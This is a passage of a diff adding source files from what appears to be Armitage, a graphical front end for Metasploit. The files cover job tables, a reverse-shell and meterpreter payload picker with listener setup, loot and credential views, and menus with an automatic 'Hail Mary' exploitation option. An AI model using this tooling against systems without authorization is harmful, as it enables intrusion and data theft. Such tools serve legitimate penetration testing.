[$panel add: center($button)];
|
||||||
|
[$dialog add: $panel, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
local('$s');
|
||||||
|
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
||||||
|
[$center setPreferredSize: [new Dimension: 0, 0]];
|
||||||
|
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
|
||||||
|
[$s resetToPreferredSizes];
|
||||||
|
[$s setOneTouchExpandable: 1];
|
||||||
|
|
||||||
|
[$dialog add: $s, [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
[$button requestFocus];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub jobs {
|
||||||
|
local('$jobs $jid $desc $info $data @r');
|
||||||
|
$jobs = call($client, "job.list");
|
||||||
|
foreach $jid => $desc ($jobs) {
|
||||||
|
$info = call($client, "job.info", $jid);
|
||||||
|
if ($info !is $null) {
|
||||||
|
$data = $info["datastore"];
|
||||||
|
if (!-ishash $data) { $data = %(); }
|
||||||
|
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return @r;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub updateJobsTable {
|
||||||
|
local('$job');
|
||||||
|
[$model clear: 8];
|
||||||
|
|
||||||
|
foreach $job (jobs()) {
|
||||||
|
[$model addEntry: $job];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createJobsTab {
|
||||||
|
local('$table $model $refresh $kill $panel $jobsf $sorter');
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
||||||
|
[[$table getColumn: "Id"] setPreferredWidth: 125];
|
||||||
|
[[$table getColumn: "Port"] setPreferredWidth: 200];
|
||||||
|
[[$table getColumn: "Name"] setPreferredWidth: 1024];
|
||||||
|
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
|
||||||
|
[[$table getColumn: "URL"] setPreferredWidth: 1024];
|
||||||
|
[[$table getColumn: "Start"] setPreferredWidth: 1024];
|
||||||
|
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
[$sorter setComparator: 0, { return $1 <=> $2; }];
|
||||||
|
[$sorter setComparator: 3, { return $1 <=> $2; }];
|
||||||
|
|
||||||
|
$jobsf = lambda(&updateJobsTable, \$model);
|
||||||
|
[$jobsf];
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
|
||||||
|
|
||||||
|
$kill = [new JButton: "Kill"];
|
||||||
|
[$kill addActionListener: lambda({
|
||||||
|
local('@jobs');
|
||||||
|
@jobs = [$model getSelectedValues: $table];
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
|
||||||
|
local('$jid');
|
||||||
|
foreach $jid (@jobs) {
|
||||||
|
call($client, "job.stop", $jid);
|
||||||
|
}
|
||||||
|
yield size(@jobs) * 500;
|
||||||
|
[$jobsf];
|
||||||
|
}, \@jobs, \$jobsf));
|
||||||
|
}, \$table, \$model, \$jobsf)];
|
||||||
|
|
||||||
|
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$frame addTab: "Jobs", $panel, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub payloadHelper {
|
||||||
|
local('$compatible $payload $check');
|
||||||
|
|
||||||
|
$payload = {
|
||||||
|
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
|
||||||
|
};
|
||||||
|
|
||||||
|
$check = [new JCheckBox: "Start a handler for this payload"];
|
||||||
|
|
||||||
|
$compatible = @();
|
||||||
|
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
|
||||||
|
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
|
||||||
|
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
|
||||||
|
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
|
||||||
|
|
||||||
|
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
|
||||||
|
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
|
||||||
|
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
|
||||||
|
|
||||||
|
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
|
||||||
|
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
|
||||||
|
|
||||||
|
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
|
||||||
|
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
|
||||||
|
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
|
||||||
|
|
||||||
|
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
|
||||||
|
# set the payload...
|
||||||
|
if ($1 eq "") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ([$check isSelected]) {
|
||||||
|
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
||||||
|
[$model setValueForKey: "HANDLER", "Value", "true"];
|
||||||
|
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
||||||
|
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
|
||||||
|
[$model setValueForKey: "HANDLER", "Value", "false"];
|
||||||
|
[$model setValueForKey: "ExitOnSession", "Value", ""];
|
||||||
|
[$model setValueForKey: "LPORT", "Value", ""];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
|
||||||
|
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||||
|
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||||
|
}
|
||||||
|
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
|
||||||
|
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||||
|
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||||
|
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, $callback => $4, \$model, \$check));
|
||||||
|
}
|
|
@ -0,0 +1,76 @@
|
||||||
|
#
|
||||||
|
# Logging... yeap, this is very important y0.
|
||||||
|
#
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
global('%logs');
|
||||||
|
%logs = ohash();
|
||||||
|
setMissPolicy(%logs, {
|
||||||
|
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
|
||||||
|
});
|
||||||
|
|
||||||
|
# logNow("file", "host|all", "text to log");
|
||||||
|
sub logNow {
|
||||||
|
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||||
|
local('$today $stream');
|
||||||
|
$today = formatDate("yyMMdd");
|
||||||
|
mkdir(getFileProper(dataDirectory(), $today, $2));
|
||||||
|
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
|
||||||
|
[$stream println: $3];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub logCheck {
|
||||||
|
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||||
|
local('$today');
|
||||||
|
$today = formatDate("yyMMdd");
|
||||||
|
if ($2 ne "") {
|
||||||
|
mkdir(getFileProper(dataDirectory(), $today, $2));
|
||||||
|
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# logFile("filename", "all|host", "type")
|
||||||
|
sub logFile {
|
||||||
|
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||||
|
local('$today $handle $data $out');
|
||||||
|
$today = formatDate("yyMMdd");
|
||||||
|
if (-exists $1 && -canread $1) {
|
||||||
|
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
|
||||||
|
|
||||||
|
# read in the file
|
||||||
|
$handle = openf($1);
|
||||||
|
$data = readb($handle, -1);
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
# write it out.
|
||||||
|
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
|
||||||
|
$handle = openf("> $+ $out");
|
||||||
|
writeb($handle, $data);
|
||||||
|
closef($handle);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
warn("Could not find file: $1");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub initLogSystem {
|
||||||
|
[$frame setScreenshotManager: {
|
||||||
|
local('$image $title');
|
||||||
|
($image, $title) = @_;
|
||||||
|
thread(lambda({
|
||||||
|
local('$file');
|
||||||
|
$title = tr($title, '0-9\W', '0-9_');
|
||||||
|
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
|
||||||
|
|
||||||
|
[javax.imageio.ImageIO write: $image, "png", $file];
|
||||||
|
logFile([$file getAbsolutePath], "screenshots", ".");
|
||||||
|
deleteFile([$file getAbsolutePath]);
|
||||||
|
|
||||||
|
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
|
||||||
|
}, \$image, \$title));
|
||||||
|
}];
|
||||||
|
}
|
|
@ -0,0 +1,123 @@
|
||||||
|
#
|
||||||
|
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub updateLootModel {
|
||||||
|
thread(lambda({
|
||||||
|
[Thread yield];
|
||||||
|
local('$loots $entry');
|
||||||
|
[$model clear: 16];
|
||||||
|
$loots = call($mclient, "db.loots")["loots"];
|
||||||
|
foreach $entry ($loots) {
|
||||||
|
$entry["date"] = rtime($entry["updated_at"] / 1000L);
|
||||||
|
$entry["type"] = $entry["ltype"];
|
||||||
|
[$model addEntry: $entry];
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, \$model));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showLoot {
|
||||||
|
local('$dialog $v $button $refresh $text $data');
|
||||||
|
$v = [$model getSelectedValue: $table];
|
||||||
|
|
||||||
|
#
|
||||||
|
# well then, file is binary... let's do something else with it, like save it.
|
||||||
|
#
|
||||||
|
if ($v !is $null && "*binary*" iswm [$model getSelectedValueFromColumn: $table, "content_type"]) {
|
||||||
|
if ($client is $mclient) {
|
||||||
|
[gotoFile([new java.io.File: getFileParent($v)])];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$name $save');
|
||||||
|
$name = [$model getSelectedValueFromColumn: $table, "name"];
|
||||||
|
$save = getFileName($name);
|
||||||
|
thread(lambda({
|
||||||
|
local('$handle $data');
|
||||||
|
$data = getFileContent($v);
|
||||||
|
$handle = openf("> $+ $save");
|
||||||
|
writeb($handle, $data);
|
||||||
|
closef($handle);
|
||||||
|
[gotoFile([new java.io.File: cwd()])];
|
||||||
|
}, \$v, \$save));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if ($v !is $null) {
|
||||||
|
$dialog = [new JPanel];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
#$dialog = dialog("View Loot", 640, 480);
|
||||||
|
|
||||||
|
$text = [new console.Display: $preferences];
|
||||||
|
[$text setText: getFileContent($v)];
|
||||||
|
[$text setFont: [Font decode: [$preferences getProperty: "console.font.font", "Monospaced BOLD 14"]]];
|
||||||
|
[$text setForeground: [Color decode: [$preferences getProperty: "console.foreground.color", "#ffffff"]]];
|
||||||
|
[$text setBackground: [Color decode: [$preferences getProperty: "console.background.color", "#000000"]]];
|
||||||
|
|
||||||
|
$button = [new JButton: "Close"];
|
||||||
|
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({ [$text setText: getFileContent($v)]; }, \$text, \$v)];
|
||||||
|
|
||||||
|
[$dialog add: $text, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($refresh), [BorderLayout SOUTH]];
|
||||||
|
[$frame addTab: "View", $dialog, $null, $v];
|
||||||
|
#[$dialog show];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createLootBrowser {
|
||||||
|
local('$table $model $panel $refresh $view $sorter $host');
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$sorter setComparator: 0, &compareHosts];
|
||||||
|
[$sorter setComparator: 3, {
|
||||||
|
return convertDate($1) <=> convertDate($2);
|
||||||
|
}];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$view = [new JButton: "View"];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
||||||
|
showLoot(\$model, \$table);
|
||||||
|
}
|
||||||
|
}, \$model, \$table));
|
||||||
|
|
||||||
|
[$view addActionListener: lambda({
|
||||||
|
showLoot(\$model, \$table);
|
||||||
|
}, \$model, \$table)];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
updateLootModel(\$model);
|
||||||
|
}, \$model)];
|
||||||
|
|
||||||
|
updateLootModel(\$model);
|
||||||
|
|
||||||
|
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$frame addTab: "Loot", $panel, $null];
|
||||||
|
}
|
|
@ -0,0 +1,264 @@
|
||||||
|
import msf.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.imageio.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub host_selected_items {
|
||||||
|
local('$sid $session $i $s $h $o');
|
||||||
|
|
||||||
|
host_attack_items($1, $2);
|
||||||
|
|
||||||
|
setupMenu($1, "host_top", $2);
|
||||||
|
|
||||||
|
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
|
||||||
|
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
|
||||||
|
if ($session["type"] eq "meterpreter") {
|
||||||
|
$i = menu($1, "Meterpreter $sid", $sid);
|
||||||
|
showMeterpreterMenu($i, \$session, \$sid);
|
||||||
|
}
|
||||||
|
else if ($session["type"] eq "shell") {
|
||||||
|
$i = menu($1, "Shell $sid", $sid);
|
||||||
|
showShellMenu($i, \$session, \$sid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
|
||||||
|
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
|
||||||
|
|
||||||
|
setupMenu($1, "host_bottom", $2);
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
$h = menu($1, "Host", 'H');
|
||||||
|
|
||||||
|
$o = menu($h, "Operating System", 'O');
|
||||||
|
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
|
||||||
|
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
|
||||||
|
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
|
||||||
|
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
|
||||||
|
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
|
||||||
|
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
|
||||||
|
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
|
||||||
|
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
|
||||||
|
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
|
||||||
|
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
|
||||||
|
$i = menu($o, "Windows", 'W');
|
||||||
|
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
|
||||||
|
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
|
||||||
|
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
|
||||||
|
|
||||||
|
item($h, "Remove Host", 'R', clearHostFunction($2));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub view_items {
|
||||||
|
# make it so we can recreate this menu if necessary...
|
||||||
|
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
|
||||||
|
|
||||||
|
item($1, 'Console', 'C', { thread(&createConsoleTab); });
|
||||||
|
|
||||||
|
if ($RPC_CONSOLE !is $null) {
|
||||||
|
item($1, 'RPC Console', 'P', {
|
||||||
|
[$frame addTab: "msfrpcd", $RPC_CONSOLE, {}];
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($mclient !is $client && $mclient !is $null) {
|
||||||
|
item($1, 'Event Log', 'E', &createEventLogTab);
|
||||||
|
}
|
||||||
|
|
||||||
|
setupMenu($1, "view_top", @());
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
|
||||||
|
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
|
||||||
|
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
|
||||||
|
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
|
||||||
|
|
||||||
|
setupMenu($1, "view_middle", @());
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
local('$t');
|
||||||
|
$t = menu($1, 'Reporting', 'R');
|
||||||
|
|
||||||
|
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
|
||||||
|
item($t, 'Export Data', 'E', {
|
||||||
|
thread(&generateArtifacts);
|
||||||
|
});
|
||||||
|
|
||||||
|
setupMenu($1, "view_bottom", @());
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
sub armitage_items {
|
||||||
|
local('$m');
|
||||||
|
|
||||||
|
item($1, 'Preferences', 'P', &createPreferencesTab);
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
dynmenu($1, 'Set Target View', 'S', {
|
||||||
|
local('$t1 $t2');
|
||||||
|
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
||||||
|
$t1 = 'Graph View *';
|
||||||
|
$t2 = 'Table View';
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$t1 = 'Graph View';
|
||||||
|
$t2 = 'Table View *';
|
||||||
|
}
|
||||||
|
|
||||||
|
item($1, $t1, 'G', {
|
||||||
|
[$preferences setProperty: "armitage.string.target_view", "graph"];
|
||||||
|
createDashboard();
|
||||||
|
savePreferences();
|
||||||
|
});
|
||||||
|
|
||||||
|
item($1, $t2, 'T', {
|
||||||
|
[$preferences setProperty: "armitage.string.target_view", "table"];
|
||||||
|
createDashboard();
|
||||||
|
savePreferences();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
dynmenu($1, 'Set Exploit Rank', 'E', {
|
||||||
|
local('$f @ranks $rank');
|
||||||
|
$f = {
|
||||||
|
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
|
||||||
|
savePreferences();
|
||||||
|
showError("Updated minimum exploit rank.");
|
||||||
|
};
|
||||||
|
|
||||||
|
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
|
||||||
|
|
||||||
|
foreach $rank (@ranks) {
|
||||||
|
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
|
||||||
|
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
setupMenu($1, "main_top", @());
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
|
||||||
|
|
||||||
|
$m = menu($1, 'Listeners', 'L');
|
||||||
|
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
|
||||||
|
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
|
||||||
|
|
||||||
|
setupMenu($1, "main_middle", @());
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
item($1, 'Exit', 'x', {
|
||||||
|
if ($msfrpc_handle !is $null) {
|
||||||
|
closef($msfrpc_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
[System exit: 0];
|
||||||
|
});
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
sub main_attack_items {
|
||||||
|
local('$k');
|
||||||
|
item($1, "Find Attacks", 'A', {
|
||||||
|
thread({
|
||||||
|
findAttacks("p", min_rank());
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
item($1, "Hail Mary", 'H', {
|
||||||
|
thread({
|
||||||
|
smarter_autopwn("p", min_rank());
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
setupMenu($1, "attacks", @());
|
||||||
|
}
|
||||||
|
|
||||||
|
sub gotoURL {
|
||||||
|
return lambda({
|
||||||
|
[[Desktop getDesktop] browse: $url];
|
||||||
|
}, $url => [[new URL: $1] toURI]);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub help_items {
|
||||||
|
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
|
||||||
|
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
|
||||||
|
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
|
||||||
|
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
|
||||||
|
setupMenu($1, "help", @());
|
||||||
|
separator($1);
|
||||||
|
item($1, "About", 'A', {
|
||||||
|
local('$dialog $handle $label');
|
||||||
|
$dialog = dialog("About", 320, 200);
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
|
||||||
|
|
||||||
|
[$label setBackground: [Color black]];
|
||||||
|
[$label setForeground: [Color gray]];
|
||||||
|
[$label setOpaque: 1];
|
||||||
|
|
||||||
|
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
|
||||||
|
[$label setText: readb($handle, -1)];
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
[$dialog add: $label, [BorderLayout CENTER]];
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog setLocationRelativeTo: $null];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
sub init_menus {
|
||||||
|
local('$top');
|
||||||
|
$top = [$1 getJMenuBar];
|
||||||
|
|
||||||
|
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
|
||||||
|
dynmenu($top, "View", 'V', &view_items);
|
||||||
|
dynmenu($top, "Hosts", 'H', &host_items);
|
||||||
|
dynmenu($top, "Attacks", 'A', &main_attack_items);
|
||||||
|
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
|
||||||
|
dynmenu($top, "Help", 'H', &help_items);
|
||||||
|
|
||||||
|
# setup some global keyboard shortcuts...
|
||||||
|
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
||||||
|
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
||||||
|
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
|
||||||
|
|
||||||
|
cmd_safe("show exploits", {
|
||||||
|
local('$line $os $type $id $rank $name $k $date $exploit');
|
||||||
|
|
||||||
|
foreach $line (split("\n", $3)) {
|
||||||
|
local('@ranks');
|
||||||
|
@ranks = @('normal', 'good', 'great', 'excellent');
|
||||||
|
while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
|
||||||
|
@ranks = sublist(@ranks, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
|
||||||
|
($exploit, $os, $date, $rank, $name) = matched();
|
||||||
|
%exploits[$exploit] = %(
|
||||||
|
name => $name,
|
||||||
|
os => $os,
|
||||||
|
date => parseDate('yyyy-MM-dd', $date),
|
||||||
|
rank => $rank,
|
||||||
|
rankScore => rankScore($rank)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
warn("Remote Exploits Synced");
|
||||||
|
});
|
||||||
|
}
|
|
@ -0,0 +1,360 @@
|
||||||
|
|
||||||
|
#
|
||||||
|
# this code maintains the client threads (one per meterpreter session) and
|
||||||
|
# the data structures for each meterpreter session.
|
||||||
|
#
|
||||||
|
|
||||||
|
import armitage.*;
|
||||||
|
import console.*;
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
global('%sessions %handlers $handler');
|
||||||
|
|
||||||
|
sub session {
|
||||||
|
if ($1 !in %sessions && $mclient !is $null) {
|
||||||
|
%sessions[$1] = [new MeterpreterSession: $client, $1, iff($client !is $mclient)];
|
||||||
|
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
|
||||||
|
}
|
||||||
|
|
||||||
|
return %sessions[$1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub oneTimeShow {
|
||||||
|
%handlers[$1] = lambda({
|
||||||
|
if ($0 eq "begin") {
|
||||||
|
showError($2);
|
||||||
|
%handlers[$command] = $null;
|
||||||
|
}
|
||||||
|
}, $command => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# m_cmd("session", "command here")
|
||||||
|
sub m_cmd {
|
||||||
|
if ($mclient is $null) {
|
||||||
|
warn("Dropping: " . @_ . " - collab check not complete!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$command $handler');
|
||||||
|
$command = split('\s+', [$2 trim])[0];
|
||||||
|
$handler = %handlers[$command];
|
||||||
|
|
||||||
|
if ($handler !is $null) {
|
||||||
|
[$handler execute: $1, [$2 trim]];
|
||||||
|
}
|
||||||
|
else {
|
